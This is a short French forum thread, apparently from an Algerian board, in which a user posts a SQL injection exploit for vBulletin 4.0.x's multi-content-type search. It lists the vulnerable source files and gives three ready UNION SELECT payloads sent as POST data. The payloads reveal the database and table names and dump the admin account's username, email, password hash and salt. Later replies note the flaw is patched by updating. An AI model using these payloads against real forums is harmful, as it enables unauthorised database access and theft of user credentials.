faille 4.0.x vBulletin (Recherche) SQLI

[Invité lakamora]

--------------------------

# ~Vulnerable Codes~ #

--------------------------

/vb/search/searchtools.php - line 715;

/packages/vbforum/search/type/socialgroup.php - line 201:203;

 

--------------------------

# ~Exploit~ #

--------------------------

POST data on "Search Multiple Content Types" => "groups"

 

&cat[0]=1) UNION SELECT database()#

&cat[0]=1) UNION SELECT table_name FROM information_schema.tables#

&cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#

 

plus d'info sur : http://j0hnx3r.org/?p=818

 

 

 

 

 

il devient bien pourri le vbulletin :confused:

[Invité lakamora]

reparé cette faille au plus vite

[alirobben]

C'est déja corrigé, faut juste toujours MAJ, ca sert a ca aussi.

[Invité lakamora]

oué j'ai vue dans communauté il ya pas group

^^

[sad723]

merci pour l'info;

le bon emplacement c'est : Sécurité Informatique

 

http://www.forumdz.com/forumdisplay.php?32-S%E9curit%E9-Informatique ;